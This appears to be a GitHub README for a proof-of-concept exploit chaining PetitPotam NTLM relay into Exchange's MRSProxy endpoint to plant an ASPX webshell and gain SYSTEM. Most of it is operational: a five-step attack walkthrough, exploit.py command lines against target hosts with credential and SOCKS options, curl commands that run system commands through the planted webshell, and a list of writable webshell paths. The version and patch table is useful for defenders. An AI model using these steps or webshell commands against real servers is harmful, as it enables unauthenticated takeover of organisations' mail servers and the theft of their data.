Skip to content

Latest commit

 

History

1 Commit

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

CVE-2026-62911

Pre-auth RCE on Microsoft Exchange Server. No credentials needed.

Orange Tsai (DEVCORE) used this at Pwn2Own Berlin 2026 as part of a 3-bug chain. $200,000 prize, full SYSTEM takeover.

What it does

Exchange exposes MailboxReplicationProxyService (MRSProxy) on two paths. One of them sits on HTTP.sys without Extended Protection:

Path Hosted by Extended Protection
/EWS/MRSProxy.svc IIS Yes. Safe.
/Microsoft.Exchange.MailboxReplicationService.ProxyService HTTP.sys No. Relay target.

The HTTP.sys endpoint accepts Negotiate auth but never checks channel bindings. You relay a machine account hash to it, and Exchange treats you as that machine. Machine accounts hold ms-Exch-EPI-Token-Serialization by default, so the WCF service grants full access.

Once inside, IMailbox_Config6() takes a filePath parameter. PstDestinationMailbox.ConfigPst() writes whatever path you give it. No extension check. Point it at an IIS directory, call IMailbox_Connect(), and a file lands on disk. Make that file an ASPX webshell. Done.

The config that makes this possible

<!-- MSExchangeMailboxReplication.exe.config -->
<binding name="MrsProxyHttpsBinding" receiveTimeout="00:22:00">
  <httpsTransport authenticationScheme="Negotiate"
      maxReceivedMessageSize="100000000" />
  <!-- no extendedProtectionPolicy — that's the bug -->
</binding>

WCF interface (relevant methods)

[ServiceContract(SessionMode = SessionMode.Required)]
interface IMailboxReplicationProxyService
{
    void ExchangeVersionInformation(
        VersionInformation clientVersion,
        out VersionInformation serverVersion);

    long IMailbox_Config6(
        Guid reservationId, Guid primaryMailboxGuid, Guid physicalMailboxGuid,
        string filePath,        // attacker-controlled, no validation
        byte[] partitionHint, Guid mdbGuid, string mdbName,
        MailboxType mbxType, int proxyControlFlags, int localMailboxFlags);

    void IMailbox_Connect(long mailboxHandle);
        // calls PSTSession.Open() — writes file at filePath
}

Affected versions

Product Vulnerable below Fixed KB
Exchange 2016 CU23 15.1.2507.72 15.1.2507.72 KB5121576
Exchange 2019 CU14 15.2.1544.43 15.2.1544.43 KB5121575
Exchange 2019 CU15 15.2.1748.48 15.2.1748.48 KB5121574
Exchange SE RTM 15.2.2562.45 15.2.2562.45 KB5121573

Exchange 2016 went end-of-life October 2025. The August 2026 fix ships only through Extended Security Updates (ESU). If the org didn't buy ESU, there's no patch.

How the attack works

Attacker                    EX02 (trigger)         EX01 (target)
   │                            │                       │
   │── PetitPotam (MS-EFSR) ──▶│                       │
   │                            │                       │
   │◀── NTLM auth (EX02$) ─────│                       │
   │                            │                       │
   │── relay NTLM ────────────────────────────────────▶│
   │   (to MRSProxy HTTP.sys)                           │
   │                                                    │
   │── IMailbox_Config6(path=shell.aspx) ─────────────▶│
   │── IMailbox_Connect() ────────────────────────────▶│
   │                                                    │ file written
   │                                                    │
   │── GET /aspnet_client/shell.aspx?cmd=whoami ──────▶│
   │◀── nt authority\system ────────────────────────────│

Five steps:

  1. Trigger MS-EFSR (EfsRpcOpenFileRaw) on EX02. It authenticates back to you with its machine account. PetitPotam works unauthenticated against unpatched Exchange.

  2. Your SMB listener grabs the NTLM negotiate from EX02$.

  3. Forward it over HTTPS to EX01's MRSProxy. The endpoint doesn't check EPA, so the relay completes. Machine accounts already have the Exchange serialization right, so authorization passes.

  4. Send WCF calls: IMailbox_Config6 with a path like C:\inetpub\wwwroot\aspnet_client\shell.aspx, then IMailbox_Connect. Exchange writes the file.

  5. Hit the webshell. You're SYSTEM.

Running it

Install dependencies:

pip install impacket pysocks

Check if MRSProxy is exposed:

python3 exploit.py --check-only \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100

You want to see Microsoft-HTTPAPI/2.0 with Negotiate in the 401 response. That confirms the HTTP.sys endpoint is live and EPA is absent.

Run the exploit:

python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100

If PetitPotam needs auth on your target:

python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100 \
  -u jsmith -p 'P@ssw0rd!' -d CONTOSO.COM

Through a SOCKS tunnel:

python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100 \
  --socks 127.0.0.1 --socks-port 10800

Pick a different write location:

python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100 \
  --webshell-path 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\x.aspx' \
  --webshell-url '/owa/auth/x.aspx'

Verify the shell landed:

python3 exploit.py --verify-only \
  -t 192.168.1.10 \
  --webshell-url '/aspnet_client/system_web/shell.aspx'

Use it:

curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=whoami+/all"
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=ipconfig+/all"

Write paths that work

Disk path URL Why
C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx /aspnet_client/system_web/shell.aspx Default IIS client scripts dir. Usually writable, serves ASPX.
C:\inetpub\wwwroot\aspnet_client\shell.aspx /aspnet_client/shell.aspx Same, shorter.
...\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx /owa/auth/shell.aspx OWA auth folder.
...\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx /ecp/auth/shell.aspx ECP auth folder.

References

Legal

For authorized testing only. Get written permission before running this against anything.

About

POC pre-auth RCE on Exchange

Topics

Resources

Stars

132 stars

Watchers

1 watching

Forks

Contributors

Languages